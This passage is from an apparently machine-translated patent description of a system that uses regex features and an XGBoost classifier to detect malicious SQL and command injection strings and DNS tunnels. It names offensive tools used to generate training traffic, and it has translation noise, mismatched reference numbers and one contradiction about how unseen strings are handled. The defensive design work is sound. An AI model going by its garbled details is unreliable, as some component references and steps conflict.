[0077] Prediction engine 174 is used to predict whether an input string is malicious. In some embodiments, prediction engine 174 determines (e.g., predicts) whether a received input string is malicious. According to various embodiments, prediction engine 174 determines whether a newly received input string is malicious based at least in part on registration information. For example, prediction engine 174 applies a machine learning model to determine whether a newly received input string is malicious. Applying a machine learning model to determine whether an input string is malicious may include prediction engine 174 querying machine learning model 176 (e.g., using information related to the input string, one or more feature vectors, etc.). In some embodiments, machine learning model 176 is pre-trained, and prediction engine 174 does not need to provide a training data set (e.g., sample malicious traffic and / or sample benign traffic) to machine learning model 176 while querying for an indication / determination of whether a particular input string is malicious. In some embodiments, prediction engine 174 receives information associated with whether an input string is malicious (e.g., an indication that the input string is malicious). For example, prediction engine 174 receives the result of a determination or analysis through machine learning model 176. In some embodiments, prediction engine 174 receives an indication of the likelihood that the input string is malicious from machine learning model 176. In response to receiving the indication of the likelihood that the input string is malicious, prediction engine 174 determines (e.g., predicts) whether the input string is malicious based at least in part on the likelihood that the input string is malicious. For example, prediction engine 174 compares the likelihood that the input string is malicious to a likelihood threshold. In response to determining that the likelihood that the input string is malicious is greater than the likelihood threshold, prediction engine 174 may deem (e.g., determine) that the input string is malicious.

[0078] According to various embodiments, in response to the prediction engine 173 determining that the received input string is malicious, the system sends an indication that the input string is malicious to the security entity. For example, the malicious input string detector 170 can send an indication that the input string is malicious to a security entity (e.g., a firewall) or a network node (e.g., a client). The indication that the input string is malicious can correspond to an update to a blacklist of input strings (e.g., corresponding to malicious input strings), such as in the case where the received input string is considered malicious, or an update to a whitelist of input strings (e.g., corresponding to non-malicious input strings), such as in the case where the received input string is considered benign. In some embodiments, the malicious input string detector 170 sends a hash or signature corresponding to the input string in conjunction with the indication of whether the input string is malicious or benign. The security entity or endpoint can calculate a hash or signature of the input string and perform a lookup (e.g., querying a whitelist and / or blacklist) for a mapping of the hash / signature to an indication of whether the input string is malicious / benign. In some embodiments, the hash or signature uniquely identifies the input string.

[0079] Prediction engine 174 is used in conjunction with determining whether an input string is malicious (e.g., determining a likelihood or prediction of whether an input string is malicious). Prediction engine 174 uses information related to the input string (e.g., one or more attributes, patterns, etc.) in conjunction with determining whether a corresponding input string is malicious.

[0080] The prediction engine 174 is used to determine whether an input string is malicious. The prediction engine 174 uses information related to the input string (e.g., alphanumeric characters, character sequences, patterns, or other information determined based on analysis of the input string) in conjunction with determining whether the corresponding input string is malicious. In some embodiments, the prediction engine 174 determines a set of one or more feature vectors based at least in part on the information related to the input string. For example, the prediction engine 174 determines (e.g., characterizes) a feature vector of one or more of the following: (i) a set of regex statements (e.g., predefined regex statements) and / or (ii) one or more characteristics or relationships determined based on algorithm-based feature extraction. In some embodiments, the prediction engine 174 uses a combined feature vector in conjunction with determining whether the input string is malicious. The combined feature vector is determined at least in part based on a set of one or more feature vectors. For example, the combined feature vector is determined based at least in part on a set of feature vectors based on a set of predefined regex statements and a set of feature vectors based on characteristics or relationships determined based on algorithm-based feature extraction. In some embodiments, the prediction engine 174 determines a combined feature vector by concatenating a set of feature vectors of a predefined set of regex statements and / or a set of feature vectors of characteristics or relationships determined based on algorithmic feature extraction. The prediction engine 174 concatenates the set of feature vectors according to a predefined process (e.g., a predefined order, etc.).

[0081] In response to determining the set of feature vectors or the combined feature vectors, the prediction engine uses a classifier to determine whether the input string is malicious (or the likelihood that the input string is malicious). The classifier is used to determine whether the input string is malicious based at least in part on the set of feature vectors or the combined feature vectors. In some embodiments, the classifier is a machine learning classifier, such as a classifier trained using a machine learning process. The prediction engine 174 uses the results of the analysis of the set of feature vectors or (one or more) combined feature vectors by the classifier to determine whether the input is malicious. In some embodiments, the classifier corresponds to the machine learning model 176.

[0082] According to various embodiments, the prediction engine 174 uses a set of feature vectors obtained based on a dynamic analysis of the input string to determine whether the input string is malicious. In some embodiments, the prediction engine 174 uses a combined feature vector in conjunction with determining whether the input string is malicious. As an example, in response to determining (one or more) corresponding feature vectors, the prediction engine 174 uses a classifier to determine whether the input string is malicious (or the likelihood that the input string is malicious). In some embodiments, if the result of the analysis of (one or more) feature vectors (e.g., the combined feature vector) using the classifier is less than a predefined threshold (e.g., a predefined malicious threshold), the system deems (e.g., determines) that the input string is not malicious (e.g., the input string is benign). For example, if the result from analyzing (one or more) feature vectors indicates the likelihood of whether the input string is malicious, the predefined threshold may correspond to a threshold likelihood. As another example, if the result from analyzing (one or more) feature vectors indicates the degree of similarity of the input string to a malicious input string, the predefined threshold may correspond to a threshold likelihood. In some embodiments, if the result of analyzing (one or more) feature vectors (e.g., a combined feature vector) using a classifier is greater than (or greater than or equal to) a predefined threshold, the system deems (e.g., determines) that the input string is malicious (e.g., the input string is a vulnerability exploit).

[0083] In response to receiving an input string for analysis, malicious input string detector 170 may determine whether the input string corresponds to a previously analyzed input string (e.g., whether the input string matches an input string associated with historical information for which a malicious determination has been previously calculated). As an example, malicious input string detector 170 determines whether an identifier or representative information corresponding to the input string is included in the historical information (e.g., a blacklist, a whitelist, etc.). In some embodiments, the representative information corresponding to the input string is a hash or signature of the input string. In some embodiments, malicious input string detector 170 (e.g., prediction engine 174) determines whether information related to a particular input string is included in a historical input string dataset and historical information associated with the historical dataset, indicating whether the particular input string is malicious (e.g., a third party service such as VirusTotal). TMIn response to determining that information related to a particular input string is not included in or is not available in the historical input string dataset and historical information, malicious input string detector 170 may deem the input string to have not been analyzed, and malicious input string detector 170 may invoke dynamic analysis of the input string in conjunction with determining (e.g., predicting) whether the input string is malicious (e.g., malicious input string detector 170 may query a classifier based on the input string in conjunction with determining whether the input string is malicious). Examples of historical information associated with historical input strings that indicates whether a particular input string is malicious correspond to (VT) score. In the event that the VT score for a particular input string is greater than 0, the third-party service deems the particular input string to be malicious. In some embodiments, historical information associated with historical input strings that indicates whether a particular input string is malicious corresponds to a social score, such as a community-based score or rating (e.g., a reputation score), indicating that the input string is malicious or is likely to be malicious. Historical information (e.g., from a third-party service, a community-based score, etc.) indicates whether other vendors or cybersecurity organizations deem a particular input string to be malicious.

[0084] In some embodiments, malicious input string detector 170 (e.g., prediction engine 174) determines that the received input string is newly analyzed (e.g., the input string is not in historical information / datasets, is not on a whitelist or blacklist, etc.). In response to security platform 140 receiving an input string from a security entity (e.g., a firewall) or an endpoint within a network, malicious input string detector 170 (e.g., input string parser 172) can detect that the input string is newly analyzed. For example, malicious input string detector 170 determines that the input string is newly analyzed while security platform 140 or malicious input string detector 170 receives the input string. As another example, malicious input string detector 170 (e.g., prediction engine 174) determines that the input string is newly analyzed according to a predefined schedule (e.g., daily, weekly, monthly, etc.), such as in conjunction with batch processing. In response to determining that a received input string has not been analyzed with respect to whether such input string is malicious (e.g., the system does not include historical information about such input string), malicious input string detector 170 determines whether to use dynamic analysis of the input string (e.g., querying a classifier to analyze the input string or one or more feature vectors associated with the input string, etc.) in conjunction with determining whether the input string is malicious, and malicious input string detector 170 uses a classifier with respect to a set or combined feature vectors associated with features or attributes or relationships of features in the input string.

[0085] The machine learning model 176 predicts whether an input string (e.g., a newly received input string) is malicious based at least in part on the model. As an example, the model is pre-stored and / or pre-trained. The model can be trained using various machine learning processes. Examples of machine learning processes that can be implemented in conjunction with training the model include random forests, linear regression, support vector machines, naive Bayes, logistic regression, K nearest neighbors, decision trees, gradient boosting decision trees, K-means clustering, hierarchical clustering, density-based spatial clustering of noise applications (DBSCAN) clustering, principal component analysis, and the like. According to various embodiments, the machine learning model 176 uses the attributes, characteristics, relationships between attributes or characteristics of the input string and / or training set to estimate whether the input string is malicious, such as predicting the likelihood that the input string is malicious. For example, the machine learning model 176 uses a machine learning process to analyze whether the input string is malicious (or benign) indications and a set of relationships between one or more attributes related to the input string, and uses the set of relationships to generate a prediction model for predicting whether a particular input string is malicious. In some embodiments, in response to predicting that a particular input string is malicious, an association between the input string and an indication that the input string is malicious is stored, such as at malicious input string detector 170 (e.g., cache 178). In some embodiments, in response to predicting the likelihood that a particular input string is malicious, an association between the input string and the likelihood that the input string is malicious is stored, such as at malicious input string detector 170 (e.g., cache 178). Machine learning model 176 can provide an indication of whether the input string is malicious or the likelihood that the input string is malicious to prediction engine 174. In some implementations, machine learning model 176 provides an indication to prediction engine 174 that the analysis performed by machine learning model 176 is complete and a corresponding result (e.g., a predicted result) is stored in cache 178.

[0086] According to various embodiments, the machine learning model 176 uses one or more features in conjunction with predicting whether an input string is malicious (or the likelihood that an input string is malicious). For example, the machine learning model 176 may be trained using one or more features. Examples of features used in conjunction with training / applying the machine learning model 176 include (a) a feature set that corresponds to a set of regex statements, respectively, (b) a feature set obtained based on algorithmic feature extraction (e.g., obtained based on generated sample malicious traffic), and the like. Various other features may be implemented in conjunction with training and / or applying the model. In some embodiments, a feature set is used to train and / or apply the model. Weighting may be used to weight corresponding features in a feature set used to train and / or apply the model. Weighting may be determined at least in part based on generating (e.g., determining) the model.

[0087] Cache 178 stores information related to input strings. In some embodiments, cache 178 stores a mapping of whether an input string is malicious (or potentially malicious) to a specific input string or a mapping of whether an input string is malicious (or potentially malicious) to a hash or signature corresponding to the input string. Cache 178 may store additional information related to a set of input strings, such as attributes of the input string, hashes or signatures corresponding to input strings in the set of input strings, other unique identifiers corresponding to input strings in the set of input strings, and the like.

[0088] Back to Figure 1 , assume that a malicious individual (using client device 120) has created malware or malicious input string 130. The malicious individual hopes that a client device (such as client device 104) will execute a copy of the malware or other exploit (e.g., malware or malicious input string) 130, thereby compromising the client device and causing the client device to become a zombie in a botnet. The compromised client device may then be instructed, where applicable, to perform tasks (e.g., cryptocurrency mining or engaging in a denial of service attack) and / or report information (e.g., associated with such tasks, exfiltrating sensitive corporate data, etc.) to an external entity (such as a command and control (C&C) server 150), and receive instructions from the C&C server 150.

[0089] Figure 1 The environment shown in FIG. 1 includes three Domain Name System (DNS) servers (122-126). As shown, DNS server 122 is controlled by ACME (for use by computing assets located within enterprise network 110), while DNS server 124 is publicly accessible (and may also be used by computing assets located within enterprise network 110 and other devices, such as devices located within other networks (e.g., networks 114 and 116)). DNS server 126 is publicly accessible, but is controlled by a malicious operator of C&C server 150. Where applicable, enterprise DNS server 122 is configured to resolve enterprise domain names into IP addresses, and is further configured to communicate with one or more external DNS servers (e.g., DNS servers 124 and 126) to resolve domain names.

[0090] As mentioned above, in order to connect to a legitimate domain (e.g., www.example.com, depicted as website 128), a client device (such as client device 104) will need to resolve the domain to a corresponding Internet Protocol (IP) address. One way such resolution can occur is for client device 104 to forward a request to DNS servers 122 and / or 124 to resolve the domain. In response to receiving a valid IP address for the requested domain name, client device 104 can connect to website 128 using the IP address. Similarly, in order to connect to malicious C&C server 150, client device 104 will need to resolve the domain "kj32hkjqfeuo32ylhkjshdflu23.badsite.com" to a corresponding Internet Protocol (IP) address. In this example, malicious DNS server 126 is authoritative for *.badsite.com, and the request of client device 104 will be forwarded to (for example) DNS server 126 for resolution, ultimately allowing C&C server 150 to receive data from client device 104.

[0091] The data appliance 102 is configured to implement policies regarding communications between client devices (such as client devices 104 and 106) and nodes external to the enterprise network 110 (e.g., reachable via external network 118). Examples of such policies include policies that control traffic shaping, quality of service, and traffic routing. Other examples of policies include security policies, such as policies that require scanning incoming (and / or outgoing) email attachments, website content, information entered into a web interface (such as a login screen), files exchanged via instant messaging programs, and / or other file transfers for threats and / or policies that isolate or delete files or other vulnerability exploits that are identified as malicious (or potentially malicious). In some embodiments, the data appliance 102 is also configured to implement policies with respect to traffic that remains within the enterprise network 110.

[0092] In various embodiments, the data appliance 102 includes a DNS module 134 that is configured to facilitate determining whether a client device (e.g., client devices 104-108) is attempting to participate in a malicious DNS tunnel, and / or to prevent connections to malicious DNS servers (e.g., by client devices 104-108). In various embodiments, the DNS module 134 can be integrated into the data appliance 102 (e.g., Figure 1 ), and can also be operated as a standalone appliance. Figure 1Like the other components shown in , DNS module 134 can be provided by the same entity that provides data appliance 102 (or security platform 140), and can also be provided by a third party (e.g., a party different from the provider of data appliance 102 or security platform 140). Further, in addition to preventing connections to malicious DNS servers, DNS module 134 can take other actions, such as a personalized log of tunneling attempts made by clients (an indication that a given client is compromised and should be quarantined or otherwise investigated by an administrator).

[0093] In various embodiments, when a client device (e.g., client device 104) attempts to resolve a domain, DNS module 134 uses the domain as a query to security platform 140. Such a query may be performed concurrently with the resolution of the domain (e.g., with requests sent to DNS servers 122, 124, and / or 126 and security platform 140). As one example, DNS module 134 may send the query (e.g., in JSON format) to front end 142 of security platform 140 via a REST API. Using the processing described in more detail below, security platform 140 will determine (e.g., using DNS tunnel detector 138, such as decision engine 152 of DNS tunnel detector 138) whether the queried domain indicates a malicious DNS tunnel attempt, and provide a result back to DNS module 134 (e.g., "Malicious DNS Tunnel" or "Non-Tunnel").

[0094] In various embodiments, when a client device (e.g., client device 104) attempts to parse an SQL statement or SQL command or other command injection string, the data appliance 102 uses the corresponding input string as a query to the security platform 140. Such a query can be performed concurrently with the parsing of the SQL statement, SQL command, or other command injection string. As an example, the data appliance 102 can send the query (e.g., in JSON format) to the front end 142 of the security platform 140 via a REST API. Using the processing described in more detail below, the security platform 140 will determine (e.g., using the malicious input string detector 170) whether the queried SQL statement, SQL command, or other command injection string indicates an exploit attempt, and provide the result back to the data appliance 102 (e.g., "malicious exploit" or "benign traffic").

[0095] In various embodiments, when a client device (e.g., client device 104) attempts to open a file or input string received (such as an attachment via email, instant message) or otherwise exchanged via a network, or when the client device receives such a file or input string, the DNS module 134 uses the file or input string (or computes a hash or signature or other unique identifier, etc.) as a query to the security platform 140. Such a query can be performed simultaneously with the receipt of the file or input string or in response to a user's request to scan a file. As an example, the data appliance 102 can send the query (e.g., in JSON format) to the front end 142 of the security platform 140 via a REST API. Using the processing described in more detail below, the security platform 140 will determine (e.g., using a malicious file detector that can be similar to the malicious input string detector 170, such as by using a machine learning model to detect / predict whether a file is malicious) whether the queried file is a malicious file (or is likely to be a malicious file), and provide the result back to the data appliance 102 (e.g., "malicious file" or "benign file").

[0096] In various embodiments, the DNS tunnel detector 138 (whether implemented on the security platform 140, the data appliance 120, or other appropriate location / combination of locations) uses a two-pronged approach to identify malicious DNS tunnels. The first approach uses an anomaly detector 146 (e.g., implemented using python) to build a collection of real-time profiles of DNS traffic for a root domain (156). The second approach uses signature generation and matching (also referred to herein as similarity detection, and, for example, implemented using Go). The two approaches are complementary. The anomaly detector acts as a general detector that can identify previously unknown tunnel traffic. However, the anomaly detector may need to observe multiple DNS queries before detection can occur. In order to block the first DNS tunnel packet, the similarity detector 144 complements the anomaly detector 146 and extracts signatures from the detected tunnel traffic that can be used to identify situations in which an attacker has registered a new malicious tunnel root domain, but has done so using tools / malware similar to the detected root domain.

[0097] When the data appliance 102 receives DNS queries (e.g., from the DNS module 134), the data appliance 102 provides them to the security platform 140, which performs anomaly detection and similarity detection, respectively. In various embodiments, if either detector flags a domain, the domain (e.g., provided in a query received by the security platform 140) is classified as a malicious DNS tunnel root domain.

[0098] The DNS tunnel detector 138 maintains a set of fully qualified domain names (FQDNs) for each appliance from which data is received, grouped with respect to their root domain (in Figure 1 156). (Although the specification generally describes grouping by root domain, it should be understood that the techniques described herein can also be extended to domains at any level.) In various embodiments, information about received queries for a given domain is maintained in the profile for a fixed amount of time (e.g., a sliding time window of ten minutes).

[0099] As an example, DNS query information for various foo.com websites received from data appliance 102 is grouped (into a domain profile for root domain foo.com) as: G(foo.com) = [mail.foo.com, coolstuff.foo.com, domain1234.foo.com. A second root domain will have a second profile with similar applicable information (e.g., G(baddomain.com) = [lskjdf23r.baddomain.com, kj235hdssd233.baddomain.com]). Each root domain (e.g., foo.com or baddomain.com) is modeled using a set of characteristics that are unique to malicious DNS tunnels, such that even though benign DNS patterns are diverse (e.g., k2jh318y35.legitimatesite.com, XXX888222000444.otherlegitimatesite.com), such DNS patterns are highly unlikely to be misclassified as malicious tunnels. The following are example features that may be extracted as features (eg, into a feature vector) of a given group's domain (ie, the shared root domain).

[0100] In some embodiments, malicious input string detector 170 provides an indication of whether the input string is malicious to a security entity, such as data appliance 102. For example, in response to determining that the input string is malicious, malicious input string detector 170 sends an indication that the input string is malicious to data appliance 102, and the data appliance may then implement one or more security policies based at least in part on the indication that the input string is malicious. The one or more security policies may include isolating / isolating the input string, deleting the input string, ensuring that the input string is not executed or parsed, warning or prompting the user of the maliciousness of the input string before the user opens / executes the input string, and the like. As another example, in response to determining that the input string is malicious, malicious input string detector 170 provides the security entity with an update to a mapping of an input string (or a hash, signature, or other unique identifier corresponding to the input string) to a corresponding indication of whether the input string is malicious or an update to a blacklist of malicious input strings (e.g., identifying input strings) or a whitelist of benign input strings (e.g., identifying input strings that are not considered malicious).

[0101] Figure 2 is a block diagram of a system for detecting malicious input strings according to various embodiments. According to various embodiments, system 200 and Figure 1 In various embodiments, the system 200 may be implemented in conjunction with the system 100, such as for use with the malicious input string detector 170. Figure 6 The process of 600 Figure 7 The process of 700 Figure 8 The process of 800 Fig. 9 The process of 900 Fig.10 The process of 1000 Fig.11 Course 1100 and / or Fig.12 The system 200 may be implemented in conjunction with the process 1200. The system 200 may be implemented in one or more servers, security entities (such as firewalls), and / or endpoints.

[0102] System 200 may be implemented by one or more devices, such as servers. System 200 may be implemented at various locations on a network. In some embodiments, system 200 implements Figure 1The malicious input string detector 170 of the system 100. As an example, the system 200 is deployed as a service, such as a web service (e.g., the system 200 determines whether the input string is malicious and provides such a determination as a service). The service can be provided by one or more servers (e.g., the system 200 or the malicious input string detector is deployed on a remote server, which monitors or receives input strings that are transmitted within or in / out of the network, such as input via a web interface (such as a login screen, an authentication interface, a query interface, etc.) or an attachment to an email, instant message, etc., and determines whether the input string is malicious, and sends / pushes notifications or updates related to the input string, such as an indication of whether the input string is malicious). As another example, the malicious input string detector is deployed on a firewall.

[0103] According to various embodiments, in response to receiving an input string to be analyzed to determine whether the input string is malicious, the system 200 uses a classifier to determine whether the input string is malicious (or to determine the likelihood that the input string is malicious). For example, the system 200 uses a classifier to provide a prediction of whether the input string is malicious. In some embodiments, the system 200 determines one or more feature vectors corresponding to the input string, and uses a classifier to analyze the one or more feature vectors in conjunction with determining whether the input string is malicious.

[0104] In some embodiments, system 200 (i) receives an input string, (ii) performs feature extraction, and (iii) determines whether the input string is malicious based at least in part on the feature extraction results using a classifier.

[0105] In the example shown, the system 200 implements one or more modules in conjunction with predicting whether an input string (e.g., a newly received input string) is malicious, determining the likelihood that the input string is malicious, and / or providing a notification or indication of whether the input string is malicious. The system 200 includes a communication interface 205, one or more processors 210, a storage device 215, and / or a memory 220. The one or more processors 210 include one or more of a communication module 225, a string injection module 227, a feature vector determination module 229, a sample traffic acquisition module 231, a model training module 233, a prediction module 235, a notification module 237, and a security implementation module 239.

[0106] In some embodiments, the system 200 includes a communication module 225. The system 200 uses the communication module 225 to communicate with various nodes or endpoints (e.g., client terminals, firewalls, DNS resolvers, data appliances, other security entities, etc.) or user systems (such as administrator systems). For example, the communication module 225 provides information to be transmitted (e.g., to another node, security entity, etc.) to the communication interface 205. As another example, the communication interface 205 provides information received by the system 200 to the communication module 225. The communication module 225 is configured to receive an input string or file to be analyzed, such as from a network endpoint or node, such as a security entity (e.g., a firewall), a database system, a query system, etc. The communication module 225 is configured to query (one or more) third-party services for information related to the input string (e.g., a service that exposes information about the input string, such as a third-party score or assessment of the maliciousness of the input string, a community-based score, an assessment or reputation related to the input string, a blacklist of the input string, and / or a whitelist of the input string, etc.). For example, the system 200 uses the communication module 225 to query (one or more) third-party services. The communication module 225 is configured to receive one or more settings or configurations from an administrator. Examples of the one or more settings or configurations include: configuration of a process for determining whether an input string is malicious; a format or process according to which a combined feature vector is to be determined; a set of feature vectors to be provided to a classifier for determining whether an input string is malicious; a set of regex statements for which feature vectors are to be determined (e.g., a predefined set of regex statements or an update to a stored set of regex statements, etc.); configuration related to traffic to be generated, such as in conjunction with generating training data or data from which features are to be extracted; information related to a whitelist of input strings (e.g., input strings that are not considered suspicious and for which traffic or attachments are permitted); information related to a blacklist of input strings (e.g., input strings that are considered suspicious and for which traffic is to be isolated, deleted, or otherwise restricted from execution), etc.

[0107] In some embodiments, the system 200 includes a string injection module 227. The system 200 uses the string injection module 227 to obtain an input string and / or determine one or more characteristics or attributes associated with the input string. For example, the string injection module 227 parses the input string. In some embodiments, the string injection module 227 determines representative information or (one or more) identifiers associated with the input string. For example, the string injection module 227 determines a hash that uniquely identifies the input string or another signature of the input string.

[0108] In response to determining the representative information or (one or more) identifiers associated with the input string, the system 200 (e.g., the prediction module 235) can determine whether the input string corresponds to a previously analyzed input string (e.g., whether the input string matches an input string associated with historical information for which a malicious determination has been previously calculated). As an example, the prediction module 235 queries a database or mapping of previously analyzed input strings and / or historical information (such as a blacklist of input strings and / or a whitelist of input strings) in conjunction with determining whether the input string was previously analyzed. In some embodiments, in response to determining that the input string does not correspond to a previously analyzed input string, the prediction module 235 uses a classifier (e.g., a model, such as a model trained using a machine learning process) to determine (e.g., predict) whether the input string is malicious. In some embodiments, in response to determining that the input string corresponds to a previously analyzed input string, the prediction module 235 obtains an indication of whether the corresponding previously analyzed input string is malicious. The prediction module 235 can use the indication of whether the corresponding previously analyzed input string is malicious as an indication of whether the received input string is malicious.

[0109] The string injection module 227 may receive an input string from an interface, such as a web application's login interface, a query interface, an SQL interface, a user interface of a database, etc. In some embodiments, the string injection module 227 receives an input string from a node, such as a security entity (e.g., a firewall or other entity that implements a security policy). Before the node executes the input string, the node transmits the input string.

[0110] In some embodiments, the system 200 includes a feature vector determination module 229. The system 200 uses the feature vector determination module 229 to determine (e.g., corresponding to) one or more feature vectors for an input string. For example, the system 200 uses the feature vector determination module 229 to determine a set of feature vectors or a combined feature vector for use in conjunction with determining whether the input string is malicious. In some embodiments, the feature vector determination module 229 determines a set of one or more feature vectors based at least in part on information related to the input string. For example, the feature vector determination module 229 determines (e.g., characterizes) a feature vector for one or more of: (i) a set of regex statements (e.g., a predefined regex statement) and / or (ii) one or more characteristics or relationships determined based on an algorithm-based feature extraction.

[0111] In some embodiments, the system 200 (e.g., the prediction module 235) uses a combined feature vector in conjunction with determining whether an input string is malicious. The feature vector determination module 229 can determine such a combined feature vector. The combined feature vector is determined at least in part based on a set of one or more feature vectors. For example, the combined feature vector is determined at least in part based on a set of feature vectors of a predefined regex statement set and a set of feature vectors of characteristics or relationships determined based on algorithm-based feature extraction. In some embodiments, the feature vector determination module 229 determines the combined feature vector by concatenating a set of feature vectors of a predefined regex statement set and / or a set of feature vectors of characteristics or relationships determined based on algorithm-based feature extraction. The feature vector determination module 229 concatenates the set of feature vectors according to a predefined process (e.g., a predefined order, etc.).

[0112] In some embodiments, the system 200 includes a sample traffic acquisition module 231. The system 200 uses the sample traffic acquisition module 231 to obtain traffic to be used in conjunction with determining one or more features and / or for training a model for determining whether an input string is malicious, or a relationship between a characteristic of an input string and the maliciousness of the input string (e.g., features). In some embodiments, the sample traffic acquisition module 231 obtains sample traffic based on generating traffic (such as by using (e.g., calling) a traffic generation tool). For example, the sample traffic acquisition module 231 may include a traffic generation tool.

[0113] In some embodiments, the system 200 trains a model for detecting vulnerability exploits. For example, the model can be a model trained using a machine learning process. In conjunction with training the model, the system 200 obtains sample vulnerability exploit traffic (e.g., using the sample traffic acquisition module 231), obtains sample benign traffic (e.g., using the sample traffic acquisition module 231), and obtains a vulnerability exploit feature set based at least in part on the sample vulnerability exploit traffic and the sample benign traffic. In some embodiments, the vulnerability exploit feature set is determined (e.g., by the model training module 233) based at least in part on one or more characteristics of the vulnerability exploit traffic. As an example, the vulnerability exploit feature set is determined based at least in part on one or more characteristics of the vulnerability exploit traffic related to one or more characteristics of the benign traffic.

[0114] In some embodiments, the sample traffic acquisition module 231 uses a traffic generation tool to obtain sample vulnerability exploit traffic and / or other malicious traffic. As an example, the traffic generation tool is a known tool for generating malicious vulnerability exploits. Examples of traffic generation tools for generating vulnerability exploit traffic include open source penetration testing tools such as Commix developed by the Commix project, or sqlmap developed by the sqlmap project and available at https: / / sqlmap.org SQLmap available. As another example, the traffic generation tool may be an exploit simulation module, such as the Threat Simulation Module developed by Picus Security, Inc. The exploit traffic may include malicious payloads, such as malicious SQL statements or other structured statements.

[0115] In response to obtaining sample vulnerability exploit traffic, the system 200 uses the model training module 233 to perform feature extraction (e.g., malicious feature extraction). Malicious feature extraction may include one or more of the following: (i) obtaining specific features from SQL and command injection strings using predefined regex statements; and (ii) filtering out the described features from the original input data set using algorithm-based feature extraction. In some embodiments, the system 200 (e.g., the model training module 233) uses sample vulnerability exploit traffic (e.g., malicious traffic) in conjunction with determining one or more features (e.g., performing malicious feature extraction) without using sample benign traffic. In some embodiments, the system 200 (e.g., the model training module 233) uses sample vulnerability exploit traffic (e.g., malicious traffic) and sample benign traffic in conjunction with determining one or more features (e.g., performing malicious feature extraction).

[0116] In some embodiments, the predefined regex statements can be set by an administrator or other user of the system. For example, the predefined regex statements are manually defined and stored at the system (e.g., stored at a security policy or within a policy for training a model). As an example, at least a subset of regex statements can be expert defined. Regex statements can be statements that capture certain contextual patterns. For example, malicious structured statements are typically part of a code language. According to various embodiments, feature extraction using regex statements identifies specific syntax included in an input string (e.g., a command or SQL injection string).

[0117] In some embodiments, the algorithm-based feature extraction uses TF-IDF to extract a set of features. In some embodiments, a first subset of features obtained during malicious feature extraction is obtained using expert-generated regex statements, and a second subset of features obtained during malicious feature extraction is obtained using algorithm-based feature extraction.

[0118] In some embodiments, the system 200 includes a model training module 233. The system 200 uses the model training module 233 to determine a model for determining whether an input string is malicious, or a relationship (e.g., a feature) between a characteristic of an input string and the maliciousness of an input string. Examples of machine learning processes that can be implemented in conjunction with training a model include random forests, linear regression, support vector machines, naive Bayes, logistic regression, K nearest neighbors, decision trees, gradient boosting decision trees, K-means clustering, hierarchical clustering, density-based spatial clustering of noise applications (DBSCAN) clustering, principal component analysis, and the like. In some embodiments, the model training module 233 trains an XGBoost machine learning classifier model. The input of a classifier (e.g., an XGBoost machine learning classifier model) is a combined feature vector or a set of feature vectors, and based on the combined feature vector or the set of feature vectors, the classifier model determines whether the corresponding input string is malicious or the possibility that the input string is malicious.

[0119] In some embodiments, the system 200 includes a prediction module 235. The system 200 uses the prediction module 235 to determine (e.g., predict) whether an input string is malicious or the likelihood that the input string is malicious. The prediction module 235 uses a model, such as a machine learning model trained by the model training module 233, in conjunction with determining whether the input string is malicious or the likelihood that the input string is malicious. For example, the prediction module 235 uses an XGBoost machine learning classifier model to analyze the combined feature vector to determine whether the input string is malicious.

[0120] In some embodiments, prediction module 235 determines whether information related to a particular input string (e.g., a hash or other signature corresponding to the input string being analyzed) is included in a historical input string dataset and historical information associated with the historical dataset (e.g., a third-party service such as VirusTotal) that indicates whether the particular input string is malicious. TM In response to determining that information related to a particular input string is not included in or available in the historical input string dataset and historical information, prediction module 235 may deem the input string to be benign (e.g., deem the input string to be not malicious). Examples of historical information associated with historical input strings that indicate whether a particular input string is malicious correspond to (VT) score. In the event that the VT score for a particular input string is greater than 0, the third-party service deems the particular input string to be malicious. In some embodiments, historical information associated with historical input strings that indicates whether a particular input string is malicious corresponds to a social score, such as a community-based score or rating (e.g., a reputation score), indicating that the input string is malicious or is likely to be malicious. Historical information (e.g., from a third-party service, a community-based score, etc.) indicates whether other vendors or cybersecurity organizations deem a particular input string to be malicious.

[0121] The system 200 can determine (e.g., calculate) a hash or signature corresponding to the input string, and perform a lookup against historical information (e.g., a whitelist, a blacklist, etc.). In some embodiments, the prediction module 235 corresponds to or is similar to the prediction engine 174. The system 200 (e.g., the prediction module 235) can query a third party (e.g., a third-party service) via the communication interface 205 for historical information related to the input string (or a set of input strings or hashes / signatures of input strings previously considered malicious or benign). The system 200 (e.g., the prediction module 235) can query the third party at predefined intervals (e.g., customer-specified intervals, etc.). As an example, the prediction module 235 can query the third party for information on newly analyzed input strings every day (or every day during a business cycle).

[0122] In some embodiments, the system 200 includes a notification module 237. The system 200 uses the notification module 237 to provide an indication of whether the input string is malicious (e.g., provide an indication that the input string is malicious). For example, the notification module 237 obtains an indication of whether the input string is malicious (or the possibility that the input string is malicious) from the prediction module 235, and provides the indication of whether the input string is malicious to one or more security entities and / or one or more endpoints. As another example, the notification module 237 provides an update to a whitelist of input strings and / or a blacklist of input strings to one or more security entities (e.g., a firewall), a node, or an endpoint (e.g., a client terminal). According to various embodiments, the notification module 237 obtains a hash, signature, or other unique identifier associated with the input string, and provides an indication that the input string is malicious in conjunction with the hash, signature, or other unique identifier associated with the input string.

[0123] According to various embodiments, the hash of the input string corresponds to a hash using a predetermined hash function (e.g., an MD5 hash function, etc.). The security entity or endpoint may calculate a hash of the received input string (e.g., an SQL statement or SQL command or other command injection string input to an SQL interface or other database user interface, etc.). The security entity or endpoint may determine whether the calculated hash corresponding to the input string is included in a set (such as a whitelist of benign input strings and / or a blacklist of malicious input strings, etc.). If the signature of the malware (e.g., the hash of the received input string) is included in the signature set of the malicious input string (e.g., the blacklist of malicious input strings), the security entity or endpoint may prevent the input string from being transmitted to the endpoint (e.g., a client device, a database system, etc.) and / or correspondingly prevent the input string from being opened or executed.

